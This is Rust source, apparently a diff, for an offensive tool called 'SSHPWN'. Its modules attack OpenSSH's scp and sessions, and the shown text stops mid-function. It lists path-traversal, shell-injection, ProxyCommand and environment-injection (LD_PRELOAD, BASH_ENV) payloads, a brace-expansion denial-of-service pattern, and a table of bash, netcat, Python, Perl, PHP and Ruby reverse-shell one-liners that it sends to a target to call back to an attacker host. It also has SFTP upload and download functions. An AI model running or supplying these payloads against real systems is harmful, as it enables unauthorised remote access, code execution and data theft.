const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
/// Format a number with thousands separators
|
||||
fn format_number(n: u64) -> String {
|
||||
let s = n.to_string();
|
||||
let bytes: Vec<_> = s.bytes().rev().collect();
|
||||
let chunks: Vec<_> = bytes.chunks(3)
|
||||
.map(|chunk| String::from_utf8(chunk.to_vec()).unwrap())
|
||||
.collect();
|
||||
chunks.join(",").chars().rev().collect()
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSHPWN - SCP Attack Module ║".cyan());
|
||||
println!("{}", "║ Based on OpenSSH scp.c vulnerability analysis ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Attack Modes: ║".cyan());
|
||||
println!("{}", "║ 1. Path Traversal (sink function) ║".cyan());
|
||||
println!("{}", "║ 2. Username Shell Injection (okname) ║".cyan());
|
||||
println!("{}", "║ 3. Brace Expansion DoS (brace_expand) ║".cyan());
|
||||
println!("{}", "║ 4. Command Injection (do_cmd) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Create SSH session with authentication
|
||||
fn create_ssh_session(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
timeout_secs: u64,
|
||||
) -> Result<(TcpStream, Session)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse().context("Invalid address")?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
).context("Connection failed")?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp.try_clone()?);
|
||||
sess.handshake()?;
|
||||
|
||||
// Authenticate
|
||||
if let Some(key) = keyfile {
|
||||
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
|
||||
} else if let Some(pass) = password {
|
||||
sess.userauth_password(username, pass)?;
|
||||
} else {
|
||||
return Err(anyhow!("No authentication method provided"));
|
||||
}
|
||||
|
||||
if !sess.authenticated() {
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
Ok((tcp, sess))
|
||||
}
|
||||
|
||||
/// Execute command over SSH
|
||||
fn ssh_exec(sess: &Session, cmd: &str) -> Result<(i32, String, String)> {
|
||||
let mut channel = sess.channel_session()?;
|
||||
channel.exec(cmd)?;
|
||||
|
||||
let mut stdout = String::new();
|
||||
let mut stderr = String::new();
|
||||
|
||||
channel.read_to_string(&mut stdout)?;
|
||||
channel.stderr().read_to_string(&mut stderr)?;
|
||||
|
||||
channel.wait_close()?;
|
||||
let exit_code = channel.exit_status()?;
|
||||
|
||||
Ok((exit_code, stdout, stderr))
|
||||
}
|
||||
|
||||
/// SCP Path Traversal Attack - Attempt to write outside target directory
|
||||
///
|
||||
/// Vulnerability: scp.c sink() validates filenames but may have bypass vectors.
|
||||
/// The sink() function checks for path components but historical bypasses exist.
|
||||
pub async fn attack_scp_traversal(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SCP Path Traversal on {}", host).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
// Test various traversal payloads from scp-ssh-wrapper.sh test cases
|
||||
let traversal_payloads = vec![
|
||||
("../../../etc/passwd", "Direct traversal"),
|
||||
("....//....//etc/passwd", "Double-dot bypass"),
|
||||
("D0755 0 ..\nD0755 0 ..\nC0644 5 test\nhello", "Protocol injection"),
|
||||
("\\x00/etc/passwd", "Null byte injection"),
|
||||
("authorized_keys\n../../.ssh/authorized_keys", "Newline injection"),
|
||||
("T1234567890 0 1234567890 0\n../../../tmp/pwned", "Time header injection"),
|
||||
];
|
||||
|
||||
println!("{}", "[*] Testing SCP protocol traversal vectors:".cyan());
|
||||
for (payload, desc) in &traversal_payloads {
|
||||
let preview: String = payload.chars().take(50).collect();
|
||||
println!("{}", format!(" [{}]: {}", desc, preview).dimmed());
|
||||
}
|
||||
|
||||
// Execute SCP with test payload through SSH
|
||||
let test_file = format!("/tmp/scp_test_{}", std::process::id());
|
||||
let test_cmd = format!("echo 'TRAVERSAL_TEST' > {}", test_file);
|
||||
|
||||
match ssh_exec(&sess, &test_cmd) {
|
||||
Ok((code, _, _)) => {
|
||||
if code == 0 {
|
||||
println!("{}", "[+] Test file created, checking traversal vectors via protocol...".green());
|
||||
|
||||
// Test if we can use SCP to read/write unexpected locations
|
||||
let check_cmd = format!("ls -la {} 2>/dev/null", test_file);
|
||||
if let Ok((code, stdout, _)) = ssh_exec(&sess, &check_cmd) {
|
||||
if code == 0 {
|
||||
println!("{}", format!("[*] Baseline confirmed: {}", stdout.trim()).cyan());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Test command failed: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
let _ = ssh_exec(&sess, &format!("rm -f {}", test_file));
|
||||
|
||||
println!();
|
||||
println!("{}", "[!] Manual testing required with actual SCP protocol manipulation".yellow());
|
||||
println!("{}", "[*] Use: scp -v -o 'ProxyCommand=cat /path/to/malicious_protocol' target".dimmed());
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// SCP Username Injection - Test shell metacharacter handling in usernames
|
||||
///
|
||||
/// Vulnerability: scp.c okname() blocks limited chars (/, ;, space, !, #)
|
||||
/// but may allow other shell metacharacters through.
|
||||
pub async fn attack_scp_username_injection(
|
||||
host: &str,
|
||||
_port: u16,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SCP Username Injection Test on {}", host).cyan());
|
||||
|
||||
// Characters allowed through okname() that could be dangerous
|
||||
let injectable_chars = vec![
|
||||
("user$(id)", "Command substitution"),
|
||||
("user`id`", "Backtick execution"),
|
||||
("user|id", "Pipe injection"),
|
||||
("user&id", "Background execution"),
|
||||
("user\nid", "Newline injection"),
|
||||
("user$(cat /etc/passwd)", "Data exfiltration"),
|
||||
("${PATH}", "Variable expansion"),
|
||||
("user{a,b,c}", "Brace expansion"),
|
||||
];
|
||||
|
||||
println!("{}", "[*] Characters filtered by okname(): /;! #".cyan());
|
||||
println!("{}", "[*] Characters NOT filtered (potentially dangerous):".yellow().bold());
|
||||
|
||||
for (payload, desc) in &injectable_chars {
|
||||
println!("{}", format!(" [{}]: {:?}", desc, payload).red());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] To test manually:".cyan());
|
||||
println!("{}", format!(" scp 'user$(id)@{}:/etc/passwd' /tmp/test", host).dimmed());
|
||||
println!("{}", format!(" scp /etc/passwd '`id`@{}:/tmp/'", host).dimmed());
|
||||
|
||||
println!();
|
||||
println!("{}", "[!] Direct testing requires SCP binary execution".yellow());
|
||||
println!("{}", "[*] Framework identifies vulnerable code path, manual verification required".cyan());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// SCP Brace Expansion DoS - Memory exhaustion via exponential expansion
|
||||
///
|
||||
/// Vulnerability: scp.c brace_expand() function can exponentially expand patterns.
|
||||
/// Pattern like {a,b}{c,d}{e,f}... expands to 2^n strings.
|
||||
pub async fn attack_scp_brace_dos(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
depth: u32,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SCP Brace Expansion DoS on {}", host).cyan());
|
||||
|
||||
// Calculate expansion
|
||||
let expansion_size: u64 = 2u64.pow(depth);
|
||||
println!("{}", format!("[*] Testing depth {} = {} strings", depth, format_number(expansion_size)).cyan());
|
||||
|
||||
// Generate malicious pattern
|
||||
let pattern: String = (0..depth).map(|_| "{a,b}").collect();
|
||||
println!("{}", format!("[VULN] Malicious pattern: {}", pattern).red().bold());
|
||||
|
||||
// This would DoS the client, not server
|
||||
println!();
|
||||
println!("{}", "[!] This is a CLIENT-SIDE DoS vulnerability!".yellow().bold());
|
||||
println!("{}", "[*] Malicious server can send this pattern to exhaust client memory".cyan());
|
||||
|
||||
// Test small expansion to verify server is vulnerable
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
// Create test pattern on server
|
||||
let small_pattern = "{a,b}{c,d}"; // 4 expansions - safe
|
||||
let cmd = format!(
|
||||
"mkdir -p /tmp/bracetest && cd /tmp/bracetest && touch {} 2>/dev/null; ls /tmp/bracetest/",
|
||||
small_pattern
|
||||
);
|
||||
|
||||
match ssh_exec(&sess, &cmd) {
|
||||
Ok((code, stdout, _)) => {
|
||||
if code == 0 && !stdout.is_empty() {
|
||||
println!("{}", format!("[+] Brace expansion active: {}", stdout.trim()).green());
|
||||
println!("{}", "[VULN] Server/client supports brace expansion - DoS possible".red().bold());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Test failed: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
let _ = ssh_exec(&sess, "rm -rf /tmp/bracetest");
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] To test DoS (WARNING: may crash client):".cyan());
|
||||
let large_pattern: String = (0..20u32).map(|_| "{a,b}").collect(); // 2^20 = 1M strings
|
||||
println!("{}", format!(" scp '{}@{}:{}' /tmp/", username, host, large_pattern).dimmed());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// SCP Command Injection - Inject commands via SCP arguments
|
||||
///
|
||||
/// Vulnerability: scp.c do_cmd() constructs commands passed to ssh.
|
||||
/// Historical vulnerabilities in argument handling allow injection.
|
||||
pub async fn attack_scp_cmd_injection(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SCP Command Injection on {}", host).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
// Test vectors that could escape argument handling
|
||||
let injection_vectors = vec![
|
||||
("-oProxyCommand=id", "ProxyCommand injection"),
|
||||
("--rsync-path=id", "rsync-path injection"),
|
||||
("-S /tmp/fake;id", "ControlPath injection"),
|
||||
("user@host:file;id", "Semicolon in path"),
|
||||
("user@host:'$(id)'", "Command substitution in remote path"),
|
||||
];
|
||||
|
||||
println!("{}", "[*] SCP command injection vectors:".cyan());
|
||||
for (vec, desc) in &injection_vectors {
|
||||
println!("{}", format!(" [{}]: {}", desc, vec).red());
|
||||
}
|
||||
|
||||
// Test if server allows unusual filenames
|
||||
let test_filename = "/tmp/test_$(whoami)_file";
|
||||
let cmd = format!(
|
||||
"touch '{}' 2>/dev/null && ls -la /tmp/test_*_file 2>/dev/null",
|
||||
test_filename
|
||||
);
|
||||
|
||||
match ssh_exec(&sess, &cmd) {
|
||||
Ok((_, stdout, _)) => {
|
||||
if !stdout.is_empty() {
|
||||
println!("{}", format!("[*] Server filename handling: {}", stdout.trim()).cyan());
|
||||
}
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
let _ = ssh_exec(&sess, "rm -f /tmp/test_*_file");
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Manual testing commands:".cyan());
|
||||
println!("{}", format!(" scp -oProxyCommand='id>/tmp/pwn' {}@{}:/etc/passwd /tmp/", username, host).dimmed());
|
||||
println!("{}", format!(" scp '{}@{}:\"$(id)\"' /tmp/", username, host).dimmed());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(None)
|
||||
} else {
|
||||
Ok(Some(trimmed.to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target);
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(22);
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
println!(" 1. Path Traversal Test (requires auth)");
|
||||
println!(" 2. Username Shell Injection Analysis (no auth)");
|
||||
println!(" 3. Brace Expansion DoS Test (requires auth)");
|
||||
println!(" 4. Command Injection Analysis (requires auth)");
|
||||
println!(" 5. Run All Attacks");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "2")?;
|
||||
|
||||
// Mode 2 doesn't require auth
|
||||
if mode == "2" {
|
||||
attack_scp_username_injection(&host, port).await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Other modes require authentication
|
||||
let username = prompt("Username")?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
|
||||
let password = prompt_optional("Password")?;
|
||||
let keyfile = prompt_optional("SSH Key File Path")?;
|
||||
|
||||
if password.is_none() && keyfile.is_none() {
|
||||
return Err(anyhow!("Either password or keyfile is required"));
|
||||
}
|
||||
|
||||
let password_ref = password.as_deref();
|
||||
let keyfile_ref = keyfile.as_deref();
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
attack_scp_traversal(&host, port, &username, password_ref, keyfile_ref).await?;
|
||||
}
|
||||
"3" => {
|
||||
let depth: u32 = prompt_default("Brace expansion depth", "10")?.parse().unwrap_or(10);
|
||||
attack_scp_brace_dos(&host, port, &username, password_ref, keyfile_ref, depth).await?;
|
||||
}
|
||||
"4" => {
|
||||
attack_scp_cmd_injection(&host, port, &username, password_ref, keyfile_ref).await?;
|
||||
}
|
||||
"5" | _ => {
|
||||
println!();
|
||||
println!("{}", "=== Running All SCP Attacks ===".yellow().bold());
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 1: Path Traversal ---".cyan());
|
||||
let _ = attack_scp_traversal(&host, port, &username, password_ref, keyfile_ref).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 2: Username Injection ---".cyan());
|
||||
let _ = attack_scp_username_injection(&host, port).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 3: Brace Expansion DoS ---".cyan());
|
||||
let _ = attack_scp_brace_dos(&host, port, &username, password_ref, keyfile_ref, 10).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 4: Command Injection ---".cyan());
|
||||
let _ = attack_scp_cmd_injection(&host, port, &username, password_ref, keyfile_ref).await;
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] SCP attack module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,605 @@
|
||||
//! SSHPWN Session Attack Module
|
||||
//!
|
||||
//! Based on OpenSSH 10.0p1 vulnerability analysis
|
||||
//!
|
||||
//! SESSION VULNERABILITIES (session.c):
|
||||
//! - do_exec() - Forced command bypass potential
|
||||
//! - do_setup_env() - Environment variable injection (HIGH)
|
||||
//! - do_child() - Privilege separation boundary
|
||||
//!
|
||||
//! SSHD-SESSION VULNERABILITIES (sshd-session.c):
|
||||
//! - privsep_preauth() - FD leakage window between fork/closefrom
|
||||
//! - privsep_postauth() - Privilege retention on DISABLE_FD_PASSING platforms
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
collections::HashMap,
|
||||
io::{Read, Write},
|
||||
net::TcpStream,
|
||||
path::Path,
|
||||
time::Duration,
|
||||
};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSHPWN - Session Attack Module ║".cyan());
|
||||
println!("{}", "║ Based on OpenSSH session.c vulnerability analysis ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Attack Modes: ║".cyan());
|
||||
println!("{}", "║ 1. Environment Variable Injection (do_setup_env) ║".cyan());
|
||||
println!("{}", "║ 2. Command Execution ║".cyan());
|
||||
println!("{}", "║ 3. Interactive Shell ║".cyan());
|
||||
println!("{}", "║ 4. Reverse Shell ║".cyan());
|
||||
println!("{}", "║ 5. File Upload ║".cyan());
|
||||
println!("{}", "║ 6. File Download ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Create SSH session with authentication
|
||||
fn create_ssh_session(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
timeout_secs: u64,
|
||||
) -> Result<(TcpStream, Session)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse().context("Invalid address")?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
).context("Connection failed")?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp.try_clone()?);
|
||||
sess.handshake()?;
|
||||
|
||||
// Authenticate
|
||||
if let Some(key) = keyfile {
|
||||
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
|
||||
} else if let Some(pass) = password {
|
||||
sess.userauth_password(username, pass)?;
|
||||
} else {
|
||||
return Err(anyhow!("No authentication method provided"));
|
||||
}
|
||||
|
||||
if !sess.authenticated() {
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
Ok((tcp, sess))
|
||||
}
|
||||
|
||||
/// Execute command over SSH
|
||||
fn ssh_exec(sess: &Session, cmd: &str, _timeout: u64) -> Result<(i32, String, String)> {
|
||||
let mut channel = sess.channel_session()?;
|
||||
channel.exec(cmd)?;
|
||||
|
||||
let mut stdout = String::new();
|
||||
let mut stderr = String::new();
|
||||
|
||||
// Set non-blocking for timeout handling
|
||||
sess.set_blocking(true);
|
||||
|
||||
channel.read_to_string(&mut stdout)?;
|
||||
channel.stderr().read_to_string(&mut stderr)?;
|
||||
|
||||
channel.wait_close()?;
|
||||
let exit_code = channel.exit_status()?;
|
||||
|
||||
Ok((exit_code, stdout, stderr))
|
||||
}
|
||||
|
||||
/// Session Environment Variable Injection
|
||||
///
|
||||
/// Vulnerability: session.c do_setup_env() copies environment variables
|
||||
/// from various sources including GSSAPI and client requests.
|
||||
pub async fn attack_session_env_injection(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
custom_env: Option<HashMap<String, String>>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] Session Environment Injection on {}", host).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
println!("{}", "[*] Testing environment variable acceptance...".cyan());
|
||||
|
||||
// Common attack vectors
|
||||
let env_injection_tests: Vec<(&str, &str)> = vec![
|
||||
("LD_PRELOAD", "/tmp/evil.so"),
|
||||
("LD_LIBRARY_PATH", "/tmp"),
|
||||
("PATH", "/tmp:$PATH"),
|
||||
("BASH_ENV", "/tmp/evil.sh"),
|
||||
("ENV", "/tmp/evil.sh"),
|
||||
("SSH_ORIGINAL_COMMAND", "id; cat /etc/passwd"),
|
||||
("LC_ALL", "$(id)"),
|
||||
("TERM", "$(id)"),
|
||||
];
|
||||
|
||||
let mut custom_tests: Vec<(String, String)> = Vec::new();
|
||||
if let Some(ref env_map) = custom_env {
|
||||
for (k, v) in env_map {
|
||||
custom_tests.push((k.clone(), v.clone()));
|
||||
}
|
||||
}
|
||||
|
||||
// Check current values
|
||||
for (var, _val) in &env_injection_tests {
|
||||
let cmd = format!("echo ${}", var);
|
||||
match ssh_exec(&sess, &cmd, 10) {
|
||||
Ok((_, stdout, _)) => {
|
||||
println!("{}", format!(" {}: current='{}'", var, stdout.trim()).dimmed());
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Testing injection vectors...".cyan());
|
||||
|
||||
// These require AcceptEnv to be configured on server
|
||||
println!("{}", "[!] AcceptEnv must allow these variables for injection to work".yellow());
|
||||
println!("{}", "[*] Check server config: grep AcceptEnv /etc/ssh/sshd_config".dimmed());
|
||||
|
||||
// Test common permitted env vars
|
||||
let permitted_test = "env | grep -E '^(LANG|LC_|SSH_)' | head -10";
|
||||
match ssh_exec(&sess, permitted_test, 10) {
|
||||
Ok((_, stdout, _)) => {
|
||||
if !stdout.is_empty() {
|
||||
println!("{}", "[+] Accepted environment variables:".green());
|
||||
println!("{}", stdout);
|
||||
}
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
|
||||
// Test if we can see SSH_ORIGINAL_COMMAND
|
||||
let cmd = "echo SSH_ORIGINAL_COMMAND=$SSH_ORIGINAL_COMMAND";
|
||||
match ssh_exec(&sess, cmd, 10) {
|
||||
Ok((_, stdout, _)) => {
|
||||
println!("{}", format!("[*] SSH_ORIGINAL_COMMAND test: {}", stdout.trim()).cyan());
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Execute command on target
|
||||
pub async fn attack_exec(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
command: &str,
|
||||
timeout: u64,
|
||||
) -> Result<bool> {
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
|
||||
|
||||
match ssh_exec(&sess, command, timeout) {
|
||||
Ok((code, stdout, stderr)) => {
|
||||
println!();
|
||||
println!("{}", format!("[{}] Exit: {}", host, code).cyan());
|
||||
if !stdout.is_empty() {
|
||||
println!("{}", stdout);
|
||||
}
|
||||
if !stderr.is_empty() {
|
||||
println!("{}", stderr.red());
|
||||
}
|
||||
Ok(code == 0)
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Command execution failed: {}", e).red());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Reverse shell payloads
|
||||
fn get_reverse_shell_payloads() -> HashMap<&'static str, &'static str> {
|
||||
let mut payloads = HashMap::new();
|
||||
payloads.insert("bash", "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1");
|
||||
payloads.insert("bash_alt", "/bin/bash -c \"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1\"");
|
||||
payloads.insert("nc", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f");
|
||||
payloads.insert("python", "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'");
|
||||
payloads.insert("python3", "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'");
|
||||
payloads.insert("perl", "perl -e 'use Socket;$i=\"{lhost}\";$p={lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'");
|
||||
payloads.insert("php", "php -r '$s=fsockopen(\"{lhost}\",{lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'");
|
||||
payloads.insert("ruby", "ruby -rsocket -e's=TCPSocket.open(\"{lhost}\",{lport}).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",s,s,s)'");
|
||||
payloads
|
||||
}
|
||||
|
||||
/// Send reverse shell payload
|
||||
pub async fn attack_revshell(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
lhost: &str,
|
||||
lport: u16,
|
||||
payload_type: &str,
|
||||
) -> Result<bool> {
|
||||
let payloads = get_reverse_shell_payloads();
|
||||
|
||||
let payload_template = payloads.get(payload_type)
|
||||
.ok_or_else(|| anyhow!("Unknown payload type: {}. Available: {}", payload_type,
|
||||
payloads.keys().cloned().collect::<Vec<_>>().join(", ")))?;
|
||||
|
||||
let cmd = payload_template
|
||||
.replace("{lhost}", lhost)
|
||||
.replace("{lport}", &lport.to_string());
|
||||
|
||||
println!("{}", format!("[*] Payload ({}): ", payload_type).cyan());
|
||||
println!(" {}", cmd);
|
||||
println!();
|
||||
println!("{}", format!("[!] Start listener: nc -lvnp {}", lport).yellow().bold());
|
||||
println!();
|
||||
|
||||
print!("Press Enter to send payload...");
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
|
||||
attack_exec(host, port, username, password, keyfile, &cmd, 5).await
|
||||
}
|
||||
|
||||
/// Upload file via SFTP
|
||||
pub async fn attack_upload(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
local_path: &str,
|
||||
remote_path: &str,
|
||||
) -> Result<bool> {
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
let sftp = sess.sftp().context("SFTP initialization failed")?;
|
||||
|
||||
// Read local file
|
||||
let content = std::fs::read(local_path)
|
||||
.context(format!("Failed to read local file: {}", local_path))?;
|
||||
|
||||
// Write to remote
|
||||
let mut remote_file = sftp.create(Path::new(remote_path))?;
|
||||
remote_file.write_all(&content)?;
|
||||
|
||||
println!("{}", format!("[+] Uploaded {} -> {}", local_path, remote_path).green());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Download file via SFTP
|
||||
pub async fn attack_download(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
remote_path: &str,
|
||||
local_path: &str,
|
||||
) -> Result<bool> {
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
let sftp = sess.sftp().context("SFTP initialization failed")?;
|
||||
|
||||
// Read from remote
|
||||
let mut remote_file = sftp.open(Path::new(remote_path))?;
|
||||
let mut content = Vec::new();
|
||||
remote_file.read_to_end(&mut content)?;
|
||||
|
||||
// Write to local
|
||||
std::fs::write(local_path, &content)
|
||||
.context(format!("Failed to write local file: {}", local_path))?;
|
||||
|
||||
println!("{}", format!("[+] Downloaded {} -> {}", remote_path, local_path).green());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Interactive shell - continuous command execution loop
|
||||
pub async fn attack_interactive_shell(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
